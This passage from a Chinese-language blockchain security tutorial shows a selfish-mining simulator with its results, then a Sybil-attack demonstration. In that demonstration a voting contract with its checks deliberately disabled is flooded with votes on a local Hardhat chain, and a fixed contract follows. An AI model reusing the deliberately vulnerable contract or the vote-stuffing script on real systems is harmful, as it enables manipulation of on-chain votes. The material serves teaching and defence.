self.__B = self.__B*self.__Sn0/(self.__n0*self.__Tho)
self.__lastTimestampDAchanged = self.__currentTimestamp
#print(self)
def __str__(self):
if self.__counter <= self.__nb_simulations:
simulation_message = '\nSimulation ' + str(self.__counter) + ' out of ' + str(self.__nb_simulations) + '\n'
current_stats = 'Private chain : ' + '+ '*int(self.__privateChain) + '\n'\
'public chain : ' + '+ '*int(self.__publicChain) + '\n'
else:
simulation_message = '\n\n' + str(self.__nb_simulations) + ' Simulations Done // publishing private chain if non-empty\n'
current_stats = ''
choosen_parameters = 'Alpha : ' + str(self.__alpha) + '\t||\t' +'Gamma : ' + str(self.__gamma) +'\n'
selfish_vs_honests_stats = \
'Blocks validated by honest miners : ' + str(self.__honestsValidBlocks) + '\n'\
'Blocks validated by selfish miners : ' + str(self.__selfishValidBlocks) + '\n'\
'Expected if they were honests : ' + str(int(self.__alpha * self.__nb_simulations)) + '\n'\
'Number of total blocks mined : ' + str(self.__totalValidatedBlocks) + '\n'\
'Number of Orphan blocks : ' + str(self.__orphanBlocks) + '\n'\
'Revenue ratio = PoolBlocks / TotalBlocks : ' + str(self.__RevenueRatio) + '%\n'
if self.__Sn0 is not None:
considering_time_stats = \
'Sn0 : ' +str(int(self.__Sn0))+ ' minutes \n'\
'Difficulty adjustment Coefficient after 2016 blocks \n'\
'=> will change to : ' +str(round(20160/self.__Sn0,4)*100)+ '% of initial value \n'
#'Revenue by unit time for SM : '+ str(round(self.__TimeRevenueSM, 4)) +'\n'\
#'Revenue by unit time for HM : '+ str(round(self.__TimeRevenueHM, 4)) +'\n'\
#'Revenue by unit time expected for SM if HM: '+ str(round(self.__TimeRevenueSMifHM, 4)) +'\n'
else:
considering_time_stats = ''
return simulation_message + current_stats + choosen_parameters + selfish_vs_honests_stats + considering_time_stats
if len(sys.argv)==4:
dico = {'nb_simulations':int(sys.argv[1]), 'alpha':float(sys.argv[2]), 'gamma':float(sys.argv[3]), 'display':True}
new = Selfish_Mining(**dico)
new.Simulate()
if len(sys.argv)==1:
### TO SAVE MULTIPLE VALUES IN FILE ###
start = time.time()
alphas = list(i/100 for i in range(1, 50, 1)) #range(1, 50, 1) | 50 => 0, 0.5, 0.01
gammas = list(i/100 for i in range(1, 100, 5)) #range(1, 100, 1) | 100 => 0, 1, 0.01
count = 0 #pourcentage done
for alpha in alphas:
for gamma in gammas:
## Before and after Difficulty Adjustment (whole time range)
new = Selfish_Mining(**{'nb_simulations':150000, 'alpha':alpha, 'gamma':gamma, 'write':True})
new.Simulate()
count += 1/len(alphas)
print("progress :" + str(round(count,2)*100) + "%\n")
duration = time.time()-start
print("Tooks " + str(round(duration,2)) + " seconds")
核心概念
- 自私挖矿策略:矿工找到区块后不立即广播,而是继续在自己的私有链上挖矿,只有在特定条件下才发布。
- 难度调整机制:比特币每2016个区块调整一次难度,目标是保持平均10分钟一个区块。
主要参数
alpha
:自私矿工的算力占比gamma
:当诚实矿工和自私矿工各发现一个区块形成竞争时,选择在自私矿工区块上继续挖矿的诚实矿工比例nb_simulations
:模拟的区块数量
代码流程
- 初始化:设置初始参数,包括自私矿工算力占比、竞争参数等。
模拟挖矿过程:
- 使用指数分布模拟区块发现时间
- 区分自私矿工和诚实矿工发现的区块
- 按时间顺序处理区块
区块处理逻辑:
- 当自私矿工发现区块时:将其添加到私有链
- 当诚实矿工发现区块时:根据当前私有链和公共链的状态决定行动
难度调整:
- 每2016个区块后调整挖矿难度
- 计算调整系数B = Sn0 / (n0*Tho0)
结果统计:
- 计算自私矿工和诚实矿工的收益比
- 记录孤块数量
- 分析难度调整的影响
关键算法
当自私矿工发现区块时:
pythondef On_Selfish_Miners(self):
self.__delta = self.__privateChain - self.__publicChain
self.__privateChain += 1
if self.__delta == 0 and self.__privateChain == 2:
self.__privateChain, self.__publicChain = 0,0
self.__selfishValidBlocks += 2
当诚实矿工发现区块时:
pythondef On_Honest_Miners(self):
self.__delta = self.__privateChain - self.__publicChain
self.__publicChain += 1
if self.__delta == 0:
# 竞争处理逻辑
elif self.__delta == 2:
self.__selfishValidBlocks += self.__privateChain
self.__publicChain, self.__privateChain = 0,0
自私挖矿的核心策略
- 当自私矿工领先2个或更多区块时,发布私有链,使诚实矿工的工作作废
- 当自私矿工领先1个区块,诚实矿工也找到一个区块时,立即发布私有链,制造分叉
- 当双方处于平局状态时,自私矿工继续在自己的私有链上挖矿
我们运行命令:python SelfishMining_WithDecreasing.py 120000 0.35 0.5
第一个参数是需要挖掘的区块数量,alpha值为0.35
,gamma为0.5
为了触发这个特定的模拟并查看收益数据,我们进行了120000次模拟。在这个特殊情况下,模拟的是自私挖矿策略。我们使用的参数是:Alpha为0.35,表示自私矿工占据网络算力的35%;Gamma为0.5,表示有一半的诚实矿工选择在自私矿工的链上挖矿。
在模拟中,诚实矿工验证了53074个区块,而自私矿工验证了37291个区块。如果自私矿工选择诚实挖矿,他们预计会验证42000个区块。总共挖出了90365个区块,其中有29635个是孤块,这些孤块虽然有效,但没有被包含在主区块链中。
收益比率是自私矿工挖出的区块与总区块数量的比例,目前为41.3%。Sn0为20223分钟,表示自私矿工需要比诚实矿工更具优势的时间。2016个区块后的难度调整系数将变为初始值的99.69%。
总体而言,这个输出提供了自私挖矿策略与诚实挖矿策略相比的性能洞察,包括自私矿工获得的验证区块数量、收益比率、时间优势以及对区块链网络难度调整的影响。
漏洞披露
此PoE已记录在案并负责任地披露给区块链开发者、协议维护者和相关的安全社区,以提高人们对自私挖矿攻击的认识并促使采取缓解措施。
缓解策略
针对自私挖矿漏洞,可以采用多种缓解策略,包括:
- 增强区块传播协议,以减少延迟并防止自私矿工选择性地扣留区块。
- 应实施具有内置机制的共识算法,以阻止自私挖矿策略并惩罚恶意行为。
- 加强矿工和网络参与者之间的透明度和协作,以有效检测和对抗自私挖矿攻击。
经验教训
- 自私挖矿漏洞利用证明的主要教训是,区块链生态系统需要稳健的共识协议和机制、公平的奖励分配机制以及针对挖矿中心化威胁的主动防御。
- 它强调了持续研究和开发以应对新兴漏洞的重要性。
结论
- 自私挖矿PoE强调了解决区块链共识机制中漏洞的紧迫性。它进一步强调了在区块链网络中维护去中心化、公平性和安全性的重要性。
三、女巫攻击(Sybil attack)
漏洞证明 (PoE)
- 这个漏洞利用证明演示了女巫攻击漏洞,这是区块链网络中的一个严重缺陷,它允许恶意行为者创建称为女巫节点的身份。这些节点可以操纵共识协议并扰乱整体网络运行。
- 此PoE的目的是展示女巫攻击漏洞在区块链系统中的影响和风险。
漏洞描述
- 当攻击者在区块链网络中创建大量虚假身份或女巫节点,从而控制网络资源的大部分并影响决策过程时,就会发生女巫攻击。
- 此漏洞利用破坏了共识机制的信任和可靠性。
技术细节
- 攻击者创建多个女巫节点,每个节点都有独特的身份,但由同一个实体控制。
- 女巫节点合谋操控网络活动,例如投票机制、区块验证或点对点通信。
- 通过用虚假身份淹没网络,攻击者可以扭曲共识结果、延迟交易或执行双重支付攻击。
影响评估
女巫攻击的利用可能产生严重后果,包括:
- 损害区块链共识协议的完整性和可靠性,导致分叉或共识失败。
- 削弱网络参与者之间的信任,干扰正常的网络操作。
- 通过控制大量网络资源,促进其他攻击,如51%攻击或日蚀攻击。
漏洞证明(PoE)演示
在PoE演示期间:
- 攻击者将部署多个女巫节点,并展示其影响网络行为的能力。
- 此演示将展示女巫节点如何操控共识机制、延迟交易执行,甚至执行恶意活动。
重现漏洞的步骤
以下是使用此漏洞证明(PoE)重现女巫攻击的逐步方法:
- 从设置一个虚拟区块链网络开始。
- 创建多个女巫节点或身份,并在区块链网络上注册它们以进行多次投票。
- 开发并部署投票合约,其中将包括用户注册、身份验证以及易受女巫攻击的交互功能(例如,投票、声誉系统等)。
测试环境
用于测试PoE的平台和工具包括:
- 区块链:使用Hardhat设置本地区块链平台。
- 智能合约:创建一个简单的投票智能合约,具有用户注册、投票和计票功能。
- 女巫节点创建:在区块链上注册多个虚假的女巫节点或身份。每个女巫节点应有独特的身份,但由攻击者控制。
攻击执行:使用投票功能模拟女巫节点多次投票。(每个账户3票——以10个账户为例)
- 攻击模拟:simSybilAttack.js
- 攻击预防:validVoting.js
但在演示开始前,我们先看下智能合约以其实现。
Voting.sol
我们要建立一个投票智能合约来触发Sybil攻击,这个合约很容易受到Sybil攻击,因为有个验证不到位(20行),没有验证来检查用户是否已经注册。没有验证来检查他们是否有已经投票了。其余的元素将是相同的。(26行)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Voting {
struct Voter {
bool registered;
bool hasVoted;
}
mapping(address => Voter) public voters;
mapping(uint256 => uint256) public voteCounts;
address public admin;
constructor() {
admin = msg.sender;
}
function register() external {
//SIN: Uncomment below to stop prevent sybil attack
//require(!voters[msg.sender].registered, "Already registered");
voters[msg.sender].registered = true;
}
function vote(uint256 candidateId) external {
//SIN: Uncomment below to stop prevent sybil attack
//require(voters[msg.sender].registered, "Not registered");
//require(!voters[msg.sender].hasVoted, "Already voted");
voteCounts[candidateId]++;
voters[msg.sender].hasVoted = true;
}
function getVoteCount(uint256 candidateId) external view returns (uint256) {
return voteCounts[candidateId];
}
}
ValidVoting.sol
我们将实现一个有效的投票智能合约,我们将执行验证以确保用户只注册一次。(20行)
此外,我们将确保如果用户已经注册,他们只能投票一次。(26行)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract ValidVoting {
struct Voter {
bool registered;
bool hasVoted;
}
mapping(address => Voter) public voters;
mapping(uint256 => uint256) public voteCounts;
address public admin;
constructor() {
admin = msg.sender;
}
function register() external {
require(!voters[msg.sender].registered, "Already registered");
voters[msg.sender].registered = true;
}
function vote(uint256 candidateId) external {
require(voters[msg.sender].registered, "Not registered");
require(!voters[msg.sender].hasVoted, "Already voted");
voteCounts[candidateId]++;
voters[msg.sender].hasVoted = true;
}
function getVoteCount(uint256 candidateId) external view returns (uint256) {
return voteCounts[candidateId];
}
}
我们将成为通过名为SimSybilAttack.js
的JavaScript模拟Sybil攻击
首先,我们需要注册节点到投票智能合约中。这种投票系统容易受到 Sybil 攻击(女巫攻击)。在这个演示中,我们将设置10个Sybil节点,并在投票智能合约中注册它们。之后,我们将让每个注册的节点进行 3 次投票。也就是说,每个 Sybil 节点将使用投票智能合约投票 3 次。最后,我们将查看总投票数。本质上,这个示例中只有一个实际的参与者,但这个参与者创建了 10 个虚拟身份并每个身份投票 3 次。
const { ethers } = require("hardhat");
// 调试开关及函数
var DEBUG = true;
debug = function(msg, priority=0) {
if(DEBUG || priority==1){
console.log(msg);
}
}
async function main() {
debug("*** 开始模拟 SYBIL 攻击 ***")
// 部署投票合约
const Voting = await ethers.getContractFactory("Voting");
const votingContract = await Voting.deploy();
debug("投票合约地址: "+ votingContract.target);
// 获取账户信息
const accounts = await ethers.getSigners();
const admin = accounts[0];
debug("管理员账户: "+admin.address+" ")
try {
// 注册多个虚假身份 (Sybil 节点)
const numSybilNodes = 10;
for (let i = 0; i < numSybilNodes; i++) {
debug("尝试使用管理员账户 "+admin.address+" 将 Sybil 节点 #"+(i+1)+" a连接到投票合约")
try {
await votingContract.connect(admin).register();
}
catch(err) {
debug(err.message, 1);
}
}
// 使用 Sybil 节点模拟多次投票
const numVotesPerNode = 3;
for (let i = 0; i < numSybilNodes; i++) {
const sybilNode = accounts[i + 1];
for (let j = 0; j < numVotesPerNode; j++) {
debug("连接 Sybil 节点 #"+(i+1)+" 进行第 "+(j+1)+" 次投票,使用地址: "+sybilNode.address);
try {
await votingContract.connect(sybilNode).vote(1); // 假设投给候选人 ID 1
}
catch(err) {
debug(err.message, 1);
}
}
}
}
catch(err) {
debug(err.message, 1);
}
// 获取最终投票计数
const voteCount = await votingContract.getVoteCount(1); // 假设候选人 ID 1
debug("最终投票计数: "+ voteCount.toString());
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
代码流程说明
- 初始化:导入 ethers 库,设置调试功能
- 部署投票合约:创建一个名为 Voting 的智能合约实例
Sybil 节点注册:
- 使用管理员账户注册 10 个 Sybil 节点
- 这模拟了一个用户创建多个虚拟身份
模拟投票:
- 每个 Sybil 节点投票 3 次
- 使用不同的账户地址连接到合约进行投票
- 所有投票都投给候选人 ID 1
- 查看结果:获取并显示最终投票计数
这个示例展示了在区块链投票系统中,如果没有适当的身份验证机制,单个实体可以通过创建多个身份(Sybil 攻击)来操纵投票结果。
输出:
Compiled 2 Solidity files successfully (evm target: paris).
*** LETS SIMULATE SYBIL ATTACK ***
votingContract.address:0x5FbDB2315678afecb367f032d93F642f64180aa3
Admin Account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #1 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #2 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #3 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #4 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #5 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #6 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #7 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #8 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #9 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #10 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Connect sybil node# 1 to vote for 1 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Connect sybil node# 1 to vote for 2 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Connect sybil node# 1 to vote for 3 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Connect sybil node# 2 to vote for 1 time using: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
Connect sybil node# 2 to vote for 2 time using: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
Connect sybil node# 2 to vote for 3 time using: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
Connect sybil node# 3 to vote for 1 time using: 0x90F79bf6EB2c4f870365E785982E1f101E93b906
Connect sybil node# 3 to vote for 2 time using: 0x90F79bf6EB2c4f870365E785982E1f101E93b906
Connect sybil node# 3 to vote for 3 time using: 0x90F79bf6EB2c4f870365E785982E1f101E93b906
Connect sybil node# 4 to vote for 1 time using: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65
Connect sybil node# 4 to vote for 2 time using: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65
Connect sybil node# 4 to vote for 3 time using: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65
Connect sybil node# 5 to vote for 1 time using: 0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc
Connect sybil node# 5 to vote for 2 time using: 0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc
Connect sybil node# 5 to vote for 3 time using: 0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc
Connect sybil node# 6 to vote for 1 time using: 0x976EA74026E726554dB657fA54763abd0C3a0aa9
Connect sybil node# 6 to vote for 2 time using: 0x976EA74026E726554dB657fA54763abd0C3a0aa9
Connect sybil node# 6 to vote for 3 time using: 0x976EA74026E726554dB657fA54763abd0C3a0aa9
Connect sybil node# 7 to vote for 1 time using: 0x14dC79964da2C08b23698B3D3cc7Ca32193d9955
Connect sybil node# 7 to vote for 2 time using: 0x14dC79964da2C08b23698B3D3cc7Ca32193d9955
Connect sybil node# 7 to vote for 3 time using: 0x14dC79964da2C08b23698B3D3cc7Ca32193d9955
Connect sybil node# 8 to vote for 1 time using: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f
Connect sybil node# 8 to vote for 2 time using: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f
Connect sybil node# 8 to vote for 3 time using: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f
Connect sybil node# 9 to vote for 1 time using: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
Connect sybil node# 9 to vote for 2 time using: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
Connect sybil node# 9 to vote for 3 time using: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
Connect sybil node# 10 to vote for 1 time using: 0xBcd4042DE499D14e55001CcbB24a551F3b954096
Connect sybil node# 10 to vote for 2 time using: 0xBcd4042DE499D14e55001CcbB24a551F3b954096
Connect sybil node# 10 to vote for 3 time using: 0xBcd4042DE499D14e55001CcbB24a551F3b954096
Final Vote Count: 30
作为Sybil攻击演示的一部分,我们首先需要设置Sybil节点。让我们开始注册这些Sybil节点。总的来说,我们正在注册十个具有不同地址但由同一实体控制的Sybil节点。之后,这些节点中的每一个都将投三次票。从控制台输出可以看到,这些节点能够毫无阻碍地进行投票。最终,当我们查看总投票数时,我们发现最终计票结果为 30 票(10个节点 × 3次投票)。这就是一个完美执行的Sybil攻击示例。
现在我们看看如何解决掉它,为了根除它,我们将考虑创建另一个名为validvoting.js
的脚本。
const { ethers } = require("hardhat");
// 调试功能设置
var DEBUG = true;
debug = function(msg, priority=0) {
if(DEBUG || priority==1){
console.log(msg);
}
}
// 重置 Hardhat 网络函数(当前未使用)
async function resetHardhat() {
console.log("重置 Hardhat...");
await hre.network.provider.send("hardhat_reset");
console.log("Hardhat 重置完成。");
}
async function main() {
debug("*** 开始防范 SYBIL 攻击演示 ***")
// 部署具有验证功能的投票合约
const Voting = await ethers.getContractFactory("ValidVoting");
const validVotingContract = await Voting.deploy();
debug("有效投票合约地址: "+ validVotingContract.target);
// 获取账户列表
const accounts = await ethers.getSigners();
const admin = accounts[0];
debug("管理员账户: "+admin.address+" ")
try {
// 尝试使用管理员账户注册多个 Sybil 节点
const numSybilNodes = 10;
for (let i = 0; i < numSybilNodes; i++) {
debug("尝试使用管理员账户 "+admin.address+" 连接 Sybil 节点 #"+(i+1)+" 到投票合约")
try {
await validVotingContract.connect(admin).register();
}
catch(err) {
debug(err.message, 1);
}
}
// 使用各自账户注册正常节点
for (let i = 0; i < numSybilNodes; i++) {
debug("尝试使用账户 "+accounts[i + 1].address+" 连接正常节点 #"+(i+1)+" 到投票合约")
try {
await validVotingContract.connect(accounts[i + 1]).register();
}
catch(err) {
debug(err.message, 1);
}
}
// 模拟 Sybil 节点多次投票
const numVotesPerNode = 3;
for (let i = 0; i < numSybilNodes; i++) {
const sybilNode = accounts[i + 1];
for (let j = 0; j < numVotesPerNode; j++) {
debug("连接 Sybil 节点 #"+(i+1)+" 尝试第 "+(j+1)+" 次投票,使用地址: "+sybilNode.address);
try {
await validVotingContract.connect(sybilNode).vote(1); // 假设投给候选人 ID 1
}
catch(err) {
debug(err.message, 1);
}
}
}
}
catch(err) {
debug(err.message, 1);
}
// 获取最终投票计数
const voteCount = await validVotingContract.getVoteCount(1); // 假设候选人 ID 1
debug("最终投票计数: "+ voteCount.toString());
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
作为防范Sybil攻击的演示,我们将使用ValidVoting
智能合约,该合约具有适当的验证机制以确保:
- 每个账户只能注册一次
- 已注册的账户只能投票一次
在这个演示中,我们将首先尝试注册 Sybil 节点,然后引入一些普通(非 Sybil)参与者。我们将在环境中设置 10 个 Sybil 节点和 10 个正常账户节点。然后,我们将遵循相同的流程,让 Sybil 节点尝试投票三次,正常账户也尝试投票三次。最后,我们将记录最终的总票数,观察合约如何防范 Sybil 攻击。
输出
*** LETS PREVENT SYBIL ATTACK ***
validVotingContract.address:0x5FbDB2315678afecb367f032d93F642f64180aa3
Admin Account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #1 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #2 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Sybil Node #3 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Sybil Node #4 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Sybil Node #5 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Sybil Node #6 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Sybil Node #7 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Sybil Node #8 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Sybil Node #9 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Sybil Node #10 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
Attempting to connect Normal Node #1 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #2 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #3 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #4 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #5 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #6 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #7 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #8 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #9 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #10 to Voting Contract with admin account: [object Object]
Connect sybil node# 1 to vote for 1 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Connect sybil node# 1 to vote for 2 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 1 to vote for 3 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 2 to vote for 1 time using: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
Connect sybil node# 2 to vote for 2 time using: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 2 to vote for 3 time using: 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 3 to vote for 1 time using: 0x90F79bf6EB2c4f870365E785982E1f101E93b906
Connect sybil node# 3 to vote for 2 time using: 0x90F79bf6EB2c4f870365E785982E1f101E93b906
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 3 to vote for 3 time using: 0x90F79bf6EB2c4f870365E785982E1f101E93b906
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 4 to vote for 1 time using: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65
Connect sybil node# 4 to vote for 2 time using: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 4 to vote for 3 time using: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 5 to vote for 1 time using: 0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc
Connect sybil node# 5 to vote for 2 time using: 0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 5 to vote for 3 time using: 0x9965507D1a55bcC2695C58ba16FB37d819B0A4dc
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 6 to vote for 1 time using: 0x976EA74026E726554dB657fA54763abd0C3a0aa9
Connect sybil node# 6 to vote for 2 time using: 0x976EA74026E726554dB657fA54763abd0C3a0aa9
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 6 to vote for 3 time using: 0x976EA74026E726554dB657fA54763abd0C3a0aa9
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 7 to vote for 1 time using: 0x14dC79964da2C08b23698B3D3cc7Ca32193d9955
Connect sybil node# 7 to vote for 2 time using: 0x14dC79964da2C08b23698B3D3cc7Ca32193d9955
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 7 to vote for 3 time using: 0x14dC79964da2C08b23698B3D3cc7Ca32193d9955
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 8 to vote for 1 time using: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f
Connect sybil node# 8 to vote for 2 time using: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 8 to vote for 3 time using: 0x23618e81E3f5cdF7f54C3d65f7FBc0aBf5B21E8f
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 9 to vote for 1 time using: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
Connect sybil node# 9 to vote for 2 time using: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 9 to vote for 3 time using: 0xa0Ee7A142d267C1f36714E4a8F75612F20a79720
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 10 to vote for 1 time using: 0xBcd4042DE499D14e55001CcbB24a551F3b954096
Connect sybil node# 10 to vote for 2 time using: 0xBcd4042DE499D14e55001CcbB24a551F3b954096
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 10 to vote for 3 time using: 0xBcd4042DE499D14e55001CcbB24a551F3b954096
VM Exception while processing transaction: reverted with reason string 'Already voted'
Final Vote Count: 10
1.从Sybil 节点注册阶段
*** LETS PREVENT SYBIL ATTACK ***
validVotingContract.address:0x5FbDB2315678afecb367f032d93F642f64180aa3
Admin Account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #1 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Attempting to connect Sybil Node #2 to Voting Contract with admin account: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
VM Exception while processing transaction: reverted with reason string 'Already registered'
首先,我们设置 Sybil 节点进行测试。从控制台输出可以看到,当我们第一次尝试注册 Sybil 节点时,注册成功了。但当同一个管理员账户(0xf39Fd6e51aad...
)尝试第二次注册时,智能合约立即检测到这是重复注册,返回错误提示"Already registered"(已经注册)。
正如文章中解释的,系统只允许一个 Sybil 节点成功注册,其余的恶意节点被智能地拒绝。这表明合约成功实现了第一层防护:防止同一账户多次注册。
2.正常节点注册阶段
Attempting to connect Normal Node #1 to Voting Contract with admin account: [object Object]
Attempting to connect Normal Node #2 to Voting Contract with admin account: [object Object]
...
Attempting to connect Normal Node #10 to Voting Contract with admin account: [object Object]
接下来,我们设置 10 个正常账户,每个账户使用不同的地址。由于没有显示错误消息,我们可以确认这些账户都成功注册了。这符合说明:"正常账户都已被成功录取",因为每个地址只注册一次,符合智能合约的验证规则。
- 投票阶段
Connect sybil node# 1 to vote for 1 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
Connect sybil node# 1 to vote for 2 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
VM Exception while processing transaction: reverted with reason string 'Already voted'
Connect sybil node# 1 to vote for 3 time using: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
VM Exception while processing transaction: reverted with reason string 'Already voted'
在投票过程中,我们观察到第一个节点(地址为 0x70997970C5...
)成功完成了第一次投票。但当它尝试进行第二次投票时,系统检测到该地址已经投过票,立即返回错误提示"Already voted"(已经投票),拒绝了第二次投票尝试。同样,第三次投票尝试也被拒绝。
这个模式对所有 10 个节点都一致。正如当中所述:"这个过程还在继续,其中一个节点或一个地址只能投票一次。第二次进来,就会失败。"这表明合约成功实现了第二层防护:防止同一账户多次投票。
4.最终结果
Final Vote Count: 10
最终,系统记录的总投票数为 10 票,这正好等于成功注册并投票的账户数量。正如文章中解释:"最后,当你看最终的投票计数时,它是实际的人数或账户数量作为投票的一部分,也就是十。"
这个结果与前一个容易受到 Sybil 攻击的实验形成鲜明对比。在那个实验中,10 个节点每个投票 3 次,最终得到 30 票。而在这个改进的实验中,即使节点尝试多次投票,最终计数仍然是 10 票,证明了防护机制的有效性。
此示例中实施的关键防护机制包括:
注册验证:
- 使用映射(mapping)存储已注册的地址
- 在注册前检查地址是否已经存在于映射中
- 拒绝已注册地址的重复注册请求
投票验证:
- 使用另一个映射跟踪已投票的地址
- 在投票前验证地址是否已投过票
- 拒绝已投票地址的重复投票请求
清晰的错误处理:
- 提供具体的错误消息指明操作被拒绝的原因
- 使用交易回滚确保状态一致性
安全启示与实际应用
这个演示对区块链投票系统和更广泛的区块链应用有重要启示:
智能合约设计原则:
- 始终验证唯一身份
